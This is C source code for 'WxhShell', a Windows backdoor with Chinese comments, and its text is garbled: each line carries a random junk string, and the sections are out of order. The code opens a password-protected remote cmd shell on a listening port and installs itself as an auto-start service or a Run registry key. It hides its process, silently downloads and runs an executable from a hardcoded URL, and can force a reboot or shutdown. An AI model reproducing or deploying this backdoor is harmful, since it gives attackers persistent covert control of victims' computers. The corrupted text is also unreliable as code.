    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k]] e8>  
    if(Boot(SHUTDOWN)) j" ~gEGfK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Izr_]%  
    else { w^N3Ma  
    closesocket(wsh); kY.3x# w  
    ExitThread(0); *c{X\!YBh  
    } # *)X+*  
    break; :}{,u6\  
    } @q<F_'7is  
  // 获取shell m |%ly  
  case 's': { Api<q2@R  
    CmdShell(wsh);  /gUD!@  
    closesocket(wsh); T/Fj0'  
    ExitThread(0); ;lU]ilYv  
    break; ")i>-1_H  
  } I] vCra  
  // 退出 (n {,R  
  case 'x': { hY[Vs5v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :W*']8 M-  
    CloseIt(wsh); R0DWjN$j  
    break; #a|.cm>6  
    } Kjfpq!NYE  
  // 离开 [)KLmL%  
  case 'q': { u~\I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s$PPJJT{b  
    closesocket(wsh); XPd@>2  
    WSACleanup(); r.#"he_6!.  
    exit(1); *r|)@K|  
    break; C)v*L#{%  
        } HHXm 4}!;<  
  } MQ7Hn;`B  
  }  OK\F  
Nub)]S>_/t  
  // 提示信息 bUS"1Tg]*6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wN^$8m5\T^  
} z(JDLd  
  } /\e&nYz  
f'Cx %  
  return; b@  S.  
} Z`{ZV5  
%K7wScz7  
// shell模块句柄 X$(Dem  
int CmdShell(SOCKET sock) D5gDVulsh  
{ Yj/[I\I"m  
STARTUPINFO si; d@IV@'Q7u  
ZeroMemory(&si,sizeof(si)); ae-hQF&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i3v|r 0O~L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TF7~eyLg  
PROCESS_INFORMATION ProcessInfo; REc+@;B  
char cmdline[]="cmd"; R}J}Q b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %IhUQ6  
  return 0; *!- J"h  
} 6 ~LCj"  
8P[aX3T7G  
// 自身启动模式 <V_P)b8$1  
int StartFromService(void)  HLsG<#  
{ O;m@fS2%3  
typedef struct e3!0<A[X  
{ at5>h   
  DWORD ExitStatus; Lj#K^c Ee  
  DWORD PebBaseAddress; /hksESiU  
  DWORD AffinityMask; _zF*S]9 X  
  DWORD BasePriority; Pt^SlX^MM  
  ULONG UniqueProcessId; zEN3N n.8  
  ULONG InheritedFromUniqueProcessId; #Rx|oSc}  
}   PROCESS_BASIC_INFORMATION; iwS55o  
|z%:{  
PROCNTQSIP NtQueryInformationProcess; }VI}O{  
j| X>:!4r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Exu>%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uFl19  
b<1+q{0r  
  HANDLE             hProcess; v[J"/:]  
  PROCESS_BASIC_INFORMATION pbi; Yv ZcG3@c3  
C]'ru  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I?Fv!5p  
  if(NULL == hInst ) return 0; yG..B  
V_p[mSKJv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g*%z{w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /@qnEP%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5kbbeO|0G  
W< sa6,$  
  if (!NtQueryInformationProcess) return 0; (W'.vEl  
"2 "gTS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;(I')[R "  
  if(!hProcess) return 0; rwh,RI) )g  
2n|]&D3V"'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r>Rm=eKJ  
v"3($?au0  
  CloseHandle(hProcess); DLBHZ?+!  
C0v1x=(xiM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]sL)[o  
if(hProcess==NULL) return 0; K#_x.: <J  
ecIZ +G)k  
HMODULE hMod; & Y Y^Bd#  
char procName[255]; !wNj;ST*  
unsigned long cbNeeded; _jCk)3KO  
>.4mAO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \!Cc[n(f#  
!eE;MaS>  
  CloseHandle(hProcess); ?vn9HhTD  
U?.cbB,  
if(strstr(procName,"services")) return 1; // 以服务启动 Oll,;{<O  
TP R$oO2  
  return 0; // 注册表启动 f:hsE  
} !${7)=|=1  
!]*Cwbh. u  
// 主模块 ?=#vp /  
int StartWxhshell(LPSTR lpCmdLine) o +KDK{MD  
{ pB0p?D)n  
  SOCKET wsl; #|R#/Yc@Bv  
BOOL val=TRUE; kACgP!~/1  
  int port=0; sjIUW$  
  struct sockaddr_in door; YggeKN  
&'KJh+jJ  
  if(wscfg.ws_autoins) Install(); 4M,Q{G|e  
Z(c3GmY  
port=atoi(lpCmdLine); 'ugc=-0pd  
0tb%h[%,M  
if(port<=0) port=wscfg.ws_port; +0Z,#b  
|fIIfYE  
  WSADATA data; t]14bf$*Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IF~E;  
ZlG|U]mM5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ef~Ar@4fA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Svqj@@_f  
  door.sin_family = AF_INET; bbe$6xwi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mi]bS  
  door.sin_port = htons(port); :XFr"aSt  
jRGslak;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XV %DhR=  
closesocket(wsl); |9'`;4W  
return 1; kfj)`x  
} z}z 6Vg  
T0TgV  
  if(listen(wsl,2) == INVALID_SOCKET) { ($or@lfs  
closesocket(wsl); Vl\8*!OL%  
return 1; M%(^GdI#Vf  
} Z`]r)z%f  
  Wxhshell(wsl); ms%RNxU4:  
  WSACleanup(); hteAuz4H  
UYw=i4J'  
return 0; <reALC  
0Fc^c[  
} 3LW_qX  
0aM&+j\q}  
// 以NT服务方式启动 ^I y'G44  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ATzFs]~K;  
{ dn1Fwy.  
DWORD   status = 0; ?%A9}"q]  
  DWORD   specificError = 0xfffffff; :tf'Gw6v  
6m$lK%P{1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MP_LdJM1E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [L ?^+p>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .$"13"  
  serviceStatus.dwWin32ExitCode     = 0; q"9 2][}  
  serviceStatus.dwServiceSpecificExitCode = 0; &,8F!)[9  
  serviceStatus.dwCheckPoint       = 0; J5Ovj,[EZ  
  serviceStatus.dwWaitHint       = 0; Y!qn[,q8  
m- u0U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H5!e/4iz  
  if (hServiceStatusHandle==0) return; e%_J O7  
AEd]nVV Q  
status = GetLastError(); Ek6z[G` O  
  if (status!=NO_ERROR) %5$)w;p.$'  
{ G nPrwDB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m"/ o4  
    serviceStatus.dwCheckPoint       = 0; w&[&ZDsK  
    serviceStatus.dwWaitHint       = 0; yQ!I`T>a  
    serviceStatus.dwWin32ExitCode     = status; <q.Q,_cW  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?>/9ae^Bw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7SJR_G6,{  
    return; Z_;! f}X  
  } L6x;<gj  
)lZoXt_3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Rn$[P.||  
  serviceStatus.dwCheckPoint       = 0; {&ykpu090  
  serviceStatus.dwWaitHint       = 0; \k 6'[ln  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H):(8/> (  
} %WF]mF T_  
_J"fgxW  
// 处理NT服务事件,比如:启动、停止 aY-7K._</  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6o d^+>U  
{ 0fzHEL  
switch(fdwControl) y|/[;  
{ 1I?`3N  
case SERVICE_CONTROL_STOP: 2h:{6Gq8  
  serviceStatus.dwWin32ExitCode = 0; D/YMovH%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?[<#>,W  
  serviceStatus.dwCheckPoint   = 0; yu>)[|-  
  serviceStatus.dwWaitHint     = 0; oJ?,X^~_  
  { < Dt/JA(p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BUS4 T#D  
  } VVJIJ9L&C  
  return; V}X>~ '%  
case SERVICE_CONTROL_PAUSE: *3\*GatJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =Hbf()cN)  
  break; P W_"JZ  
case SERVICE_CONTROL_CONTINUE: `gAW5 i-z5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z`<5SHQd  
  break; bH.SUd)  
case SERVICE_CONTROL_INTERROGATE: H/U.Bg 4  
  break; ^Na3VP  
}; 3Fw7q"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :cvT/xhO  
} G=/^]E  
#y-R*4G  
// 标准应用程序主函数 Du #>y!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cto>~pV  
{ c] -  
7M)<Sv  
// 获取操作系统版本 E#R1  
OsIsNt=GetOsVer(); o3$dl`'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I0*N "07n  
X-*LA*xbN  
  // 从命令行安装 fjCFJ_  
  if(strpbrk(lpCmdLine,"iI")) Install(); d$^ @$E2f  
y* :C~  
  // 下载执行文件 U@9v(TfV  
if(wscfg.ws_downexe) { &F:%y(;{Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WjguM  
  WinExec(wscfg.ws_filenam,SW_HIDE); :T{VCw:*  
} gBr /Y}I  
1~Z   
if(!OsIsNt) { K@%gvLa\  
// 如果时win9x,隐藏进程并且设置为注册表启动 1 -$+@Xl  
HideProc(); 2wu\.{6Zp  
StartWxhshell(lpCmdLine); dVg'v7G&V(  
} Ma4eu8  
else vi.INe  
  if(StartFromService()) R^B8** N  
  // 以服务方式启动 NxSSRv^rx  
  StartServiceCtrlDispatcher(DispatchTable); *zQhTYY  
else 85e*um^  
  // 普通方式启动 MOPHu O{^  
  StartWxhshell(lpCmdLine);  ~)F_FS  
osc A\r  
return 0; fZoQQ[s  
} :k-@w5(  
g/(BV7V  
*eGG6$I  
Zv2]X-  
=========================================== G5%k.IRz  
_0BQnzC=  
2}XxRJ0   
c/^l2CJ0  
4 |bu= T  
Y9I|s{~  
" h^v#?3.@  
Ii# +JY0k  
#include <stdio.h> l$[,V:N  
#include <string.h> 1]9l SE!E7  
#include <windows.h> #0?3RP  
#include <winsock2.h> y|=KrvMHJ  
#include <winsvc.h> R;pIi/yDRe  
#include <urlmon.h> BNe>Lko  
~^'WHuz Py  
#pragma comment (lib, "Ws2_32.lib") ?gBFfi  
#pragma comment (lib, "urlmon.lib") ~k%XW$cV  
ayh235>a(  
#define MAX_USER   100 // 最大客户端连接数 Vw3=jIQN:!  
#define BUF_SOCK   200 // sock buffer .K1wp G[4  
#define KEY_BUFF   255 // 输入 buffer FY-eoq0O3  
yY{  
#define REBOOT     0   // 重启 97 ,Yq3  
#define SHUTDOWN   1   // 关机 u1gD*4+  
Nf)SR#;  
#define DEF_PORT   5000 // 监听端口 =dwy 4  
"&{.g1i9  
#define REG_LEN     16   // 注册表键长度 6J_$dzw  
#define SVC_LEN     80   // NT服务名长度 ZuZCIqN  
D^a(|L3;  
// 从dll定义API :wEy""*N0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c[T@lz(!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cltx(C>   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qA[cF$CIl)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EG|_YW7  
Yg}b%u,Q  
// wxhshell配置信息 o^'QGs "  
struct WSCFG { ;.<HpDfG_  
  int ws_port;         // 监听端口 ZmycK:f  
  char ws_passstr[REG_LEN]; // 口令 Jz*A!Li  
  int ws_autoins;       // 安装标记, 1=yes 0=no cj^hwtx   
  char ws_regname[REG_LEN]; // 注册表键名 u{w,y.l1h  
  char ws_svcname[REG_LEN]; // 服务名 0x<G\ l4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q5l+-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %eh.@8GL`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]826kpq_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j<6+p r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GZHJ 4|DK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u%6b|M@P  
LM 1Vsh<  
}; .;S1HOHz4  
d^v.tYM$N  
// default Wxhshell configuration k2.k}?w!JO  
struct WSCFG wscfg={DEF_PORT, L4ct2|w}ul  
    "xuhuanlingzhe", 7F_N{avr  
    1, kZ]pV=\Y*  
    "Wxhshell", ;@:-T/=  
    "Wxhshell", jP0TyhM  
            "WxhShell Service", eKLE^`2*@  
    "Wrsky Windows CmdShell Service", l_8ibLyo  
    "Please Input Your Password: ", F@#p  
  1, .XVL JJ#  
  "http://www.wrsky.com/wxhshell.exe", N7KG_o%  
  "Wxhshell.exe" ^N7 C/" p  
    }; *=!r|UdB.  
]g }5p4*&  
// 消息定义模块 G{O{ p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ic4hO>p&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4@Z!?QzW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d{7)_Sbky  
char *msg_ws_ext="\n\rExit."; 0P!Fci/t  
char *msg_ws_end="\n\rQuit."; /"8|26  
char *msg_ws_boot="\n\rReboot..."; /{/mwS"W  
char *msg_ws_poff="\n\rShutdown..."; !N_eZPU.v  
char *msg_ws_down="\n\rSave to "; US"UkY-\  
f*IvaY  
char *msg_ws_err="\n\rErr!"; 1~},}S]id  
char *msg_ws_ok="\n\rOK!"; OF )*kiJ  
[Q\(k d*4  
char ExeFile[MAX_PATH]; 3xmPY.  
int nUser = 0; `I4E': ZG  
HANDLE handles[MAX_USER]; F~hH>BH9  
int OsIsNt; pSEaE9AX%  
SSyARR+;c  
SERVICE_STATUS       serviceStatus; sTep2W.9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z6Z/Y()4Tl  
xP;>p| M  
// 函数声明 C N}0( 2n  
int Install(void); ?A24h !7  
int Uninstall(void); F\ GNLi  
int DownloadFile(char *sURL, SOCKET wsh); -N6ek`  
int Boot(int flag); :XoR~syT  
void HideProc(void); IS`ADDU[S  
int GetOsVer(void); baL<|& c  
int Wxhshell(SOCKET wsl); =P_ *.SgR  
void TalkWithClient(void *cs); Sfp-ns32%A  
int CmdShell(SOCKET sock); y+V>,W)r7  
int StartFromService(void); XW\ 3ttx  
int StartWxhshell(LPSTR lpCmdLine); 4Ssy (gt  
Fey^hx w =  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YfMs~}h,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ue4 {h  
#?eMEws  
// 数据结构和表定义 dWe%6s;   
SERVICE_TABLE_ENTRY DispatchTable[] = g!r) yzK  
{ *J >6i2M,u  
{wscfg.ws_svcname, NTServiceMain}, yF_/.mI  
{NULL, NULL} _34%St!lg  
}; @v!#_%J  
{x[C\vZsi]  
// 自我安装 4x?I,cAN  
int Install(void) !R#PJH/TM  
{ sIl&\g<b  
  char svExeFile[MAX_PATH]; .I$+ E  
  HKEY key; lz1cLl m  
  strcpy(svExeFile,ExeFile); }W[=O:p  
h|i b*%P_  
// 如果是win9x系统,修改注册表设为自启动 1jAuW~  
if(!OsIsNt) { 2R^Eea  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2+p XtP@O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w>}n1Nc$G  
  RegCloseKey(key); )]<^*b>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hJw]hVYa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eb6y-TwY  
  RegCloseKey(key); {ot6ssT=D  
  return 0; =<zlg~i  
    } "(kiMo g-  
  } L|1~'Fz#w  
} tL1\q Qg  
else { [Ls%nz|  
/TIt-c  
// 如果是NT以上系统,安装为系统服务 t("koA=.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )7Qp9Fxo  
if (schSCManager!=0) /11CC \  
{ q|IU+r:! 3  
  SC_HANDLE schService = CreateService (?lT @RY/  
  ( Goy[P2m  
  schSCManager, +^J;ic  
  wscfg.ws_svcname, '"ze Im~  
  wscfg.ws_svcdisp, 5B8fz;l= B  
  SERVICE_ALL_ACCESS, jqTK7b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P3Ah1X7W"C  
  SERVICE_AUTO_START, v |pHbX  
  SERVICE_ERROR_NORMAL, aSJD'u4w.a  
  svExeFile, D$rn?@&g  
  NULL, ]@}hyM[D;  
  NULL, dldS7Q  
  NULL, nLPd]%78>  
  NULL, 322-'S3<  
  NULL w vI v+Q9  
  ); XaoVv2=G~  
  if (schService!=0) 8,VEuBZ  
  { =)N6 R  
  CloseServiceHandle(schService); m6 Y0,9  
  CloseServiceHandle(schSCManager); A2\3.3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /'_Yct=  
  strcat(svExeFile,wscfg.ws_svcname); v:>sS_^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [biz[ fm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wqap~X  
  RegCloseKey(key); S@~ReRew2  
  return 0; R? N+./{  
    } Nd@/U c  
  } 02(Ob  
  CloseServiceHandle(schSCManager); c|(Q[=   
} $YJi]:3&  
} <;jg/  
3vQVk  
return 1; m")p]B&i=  
} 0Jd>V  
KF!d?  
// 自我卸载 l2wu>Ar7.  
int Uninstall(void) d>r]xXB6  
{ 9+.3GRt7  
  HKEY key; /c4$m3?]  
p!<PRms@  
if(!OsIsNt) { )oM% N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (l(d0g&p>  
  RegDeleteValue(key,wscfg.ws_regname); |Vu`-L'Jz  
  RegCloseKey(key); ORXH<;^0y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]XL=S|tIq  
  RegDeleteValue(key,wscfg.ws_regname); L&]{GNw  
  RegCloseKey(key); Imyw-8/;  
  return 0; 8|+@A1)&4  
  } LA(/UA3Izd  
} j<9^BNl  
} *<?KOM  
else { /;u=#qu(E-  
') 2LP;(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N f}ZG  
if (schSCManager!=0) [<Mls@?  
{ UF}Ji#fqn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vy c  
  if (schService!=0) u%OLXb  
  { ofgNL .u  
  if(DeleteService(schService)!=0) { Y 7?q `  
  CloseServiceHandle(schService); o0dD  
  CloseServiceHandle(schSCManager); ;rnhv:Iw  
  return 0; YhN:t?  
  } a'*~E ?b  
  CloseServiceHandle(schService); `dl^)4J  
  } qK%#$JgqA  
  CloseServiceHandle(schSCManager); X2P8Zq=%a  
} ldRq:M5z  
} /L2.7`5  
&k`lb kq  
return 1; EYn9l n_]u  
} v`@N R06  
ws U@hqS  
// 从指定url下载文件 n S Vr,wU  
int DownloadFile(char *sURL, SOCKET wsh) 4ZYywDwn  
{ q!Z{qt*`um  
  HRESULT hr; Mi}k>5VT  
char seps[]= "/"; Zl.,pcL  
char *token; eF4f7>5Cv  
char *file; y~VLa  
char myURL[MAX_PATH]; Le,;)Nd  
char myFILE[MAX_PATH]; `+0P0(bn  
9pk-#/ag  
strcpy(myURL,sURL); s>{\^T7y  
  token=strtok(myURL,seps); zOy_qozk  
  while(token!=NULL) A+fXt`YNM  
  { fEGnI\  
    file=token; Tv|i CYB?  
  token=strtok(NULL,seps); {T0Au{88H  
  } lj+&3<E  
'HL.W](  
GetCurrentDirectory(MAX_PATH,myFILE); $wl_  
strcat(myFILE, "\\"); '+*'sQvH[  
strcat(myFILE, file); x}{O9LiR  
  send(wsh,myFILE,strlen(myFILE),0); sy6[%8D$  
send(wsh,"...",3,0); 2cZgG^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ajf(Ii\/  
  if(hr==S_OK) X3~@U7DU  
return 0; Oz<#s{Z  
else "DX 2Mu=  
return 1; /38XaKc{6  
y3P4]sq  
} P\@efq@!  
jm'^>p,9G  
// 系统电源模块 -"x@V7X  
int Boot(int flag) \J-D@b;  
{ /U0,%  
  HANDLE hToken; AMK(-=  
  TOKEN_PRIVILEGES tkp; D23 c/8K  
g ?@fHFct  
  if(OsIsNt) { wb39s^n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |>wGl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QM7B FS;  
    tkp.PrivilegeCount = 1; hK %FpGYA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tNYuuC%N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B!4~A{  
if(flag==REBOOT) { 0E@*&Ru  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NuXII-  
  return 0; &&zsUAkS  
} ,=: -&~?  
else { #K/95!)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ROO@EQ#`Z  
  return 0; E+$D$a  
} vLGnLpt  
  } u $D%Iz  
  else { [7,q@>:CS  
if(flag==REBOOT) { _auFt"n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h" f_T [  
  return 0; 3MDs?qx>s  
} HI[Pf%${  
else { WfYG#!}x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N%)q.'M  
  return 0; RP k'1nD  
} B'bOK`p  
} '*<I<? z;  
FJn.V1  
return 1; nW oh(a  
} }:!X@C~  
drbim8 !q~  
// win9x进程隐藏模块 eAjsMED  
void HideProc(void) | 3`8$-  
{ 1-|aeJ  
mri g5{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jVqpokWH  
  if ( hKernel != NULL ) K{ntl-D&y  
  { /. >%IcK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z,V<&9a;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K87yQOjPv  
    FreeLibrary(hKernel); F?qg?1v B|  
  } s(r4m/  
KxWm63"  
return; -&lD0p>*g  
} }L=Qp=4  
>Sb3]$$  
// 获取操作系统版本 s@ 6Jz\<E  
int GetOsVer(void) "/%o'Fq  
{ 2WE01D9O  
  OSVERSIONINFO winfo; 1*.*\4xo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o/& IT(v  
  GetVersionEx(&winfo); Lb{.}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *&hbfsP:  
  return 1; NPDMv |4  
  else TIK'A<  
  return 0; RYdI$&]  
} AHHV\r  
'X`W+=T$  
// 客户端句柄模块 ,hm&]  
int Wxhshell(SOCKET wsl) as@? Kv  
{ B&<P>AZ  
  SOCKET wsh; DVDzYR**4  
  struct sockaddr_in client; $)d34JM  
  DWORD myID; ~.tYYX<  
R@U4Ae{+  
  while(nUser<MAX_USER) AJ)&+H  
{ ;s-@m<  
  int nSize=sizeof(client); tq51;L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LjIkZ'HuF  
  if(wsh==INVALID_SOCKET) return 1; D0>Pc9  
#$F*.vQSs+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kdaq_O:s  
if(handles[nUser]==0) M`E}1WNQ?]  
  closesocket(wsh); 5Vai0Qfcu:  
else Z;njSw%:  
  nUser++; *,~L_)vWO  
  } 4um^7Ns)7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); unKgOvtj  
UD9JE S,  
  return 0; @Gy.p5J8  
} hD4>mpk  
0 ZSn r+  
// 关闭 socket rinTB|5  
void CloseIt(SOCKET wsh) WQbjq}RfI  
{ \[]?9Z=n  
closesocket(wsh); G,<l}(tEG  
nUser--; Z*-a=u%gl'  
ExitThread(0); S)/548=`  
} #T@k(Bz{L  
2\;/mQI2A  
// 客户端请求句柄 z;_vl  
void TalkWithClient(void *cs) nzbAQ3v  
{ $VhY"<  
&9"Y:),  
  SOCKET wsh=(SOCKET)cs; }6=? zs}  
  char pwd[SVC_LEN]; t0Jqr)9}6  
  char cmd[KEY_BUFF]; LF#[$ so{i  
char chr[1]; B#cN'1c  
int i,j; 1g jGaC  
%F^,6y  
  while (nUser < MAX_USER) {  +cKOIMu9  
(/s~L*gF{  
if(wscfg.ws_passstr) { be$']}cP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9A/bA|$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9%bErMHL  
  //ZeroMemory(pwd,KEY_BUFF); CxSh.$l  
      i=0; 4C ;y2`C  
  while(i<SVC_LEN) { 9,JWi{lIv  
Et0)6^-v  
  // 设置超时 ;cZp$ xb3  
  fd_set FdRead; cBv"d ~  
  struct timeval TimeOut; z;ku*IV  
  FD_ZERO(&FdRead); _"*s x-  
  FD_SET(wsh,&FdRead); UtQCTNjC{  
  TimeOut.tv_sec=8; zx*D)i5-  
  TimeOut.tv_usec=0; vVrM[0*c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )lz~Rt;1i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v`]y:Ku|wR  
>Bu9D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U<E]c 4*  
  pwd=chr[0]; d={o|Mf  
  if(chr[0]==0xd || chr[0]==0xa) { YBR)S_C$_  
  pwd=0; Z`U+ a  
  break; cOZBl;}  
  } 4O/IT1+A  
  i++; UEhFId  
    } M{)&SNI*C  
j%Xa8$  
  // 如果是非法用户,关闭 socket /Ov1eQBNG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R/kJUl6HEl  
} /lh1sHgD  
WtaOf_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `j!_tE`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y7%SHYC p[  
gVI`&W__,  
while(1) { %QEyvl4  
uG +ZR: _  
  ZeroMemory(cmd,KEY_BUFF); M&<qGV$A  
Px9 K  
      // 自动支持客户端 telnet标准    ; (A-  
  j=0; scYqU7$%T  
  while(j<KEY_BUFF) { 6:6A" A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YDj5+'y  
  cmd[j]=chr[0]; 08D:2 z1z  
  if(chr[0]==0xa || chr[0]==0xd) { FSAX , Y  
  cmd[j]=0; C"%B >e  
  break; (|rf>=B+H  
  } /oLY\>pD  
  j++; [HUK 9hG  
    } %u_dxpx  
kytHOn#  
  // 下载文件 C'R6mz%Q?  
  if(strstr(cmd,"http://")) { CC;^J-h/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bN03}&I  
  if(DownloadFile(cmd,wsh)) !pkIaCxs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S^|U"  
  else dv+ZxP%g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $mE3 FJP>  
  } {$i>\)  
  else { 6}!1a?X  
nMfR< %r  
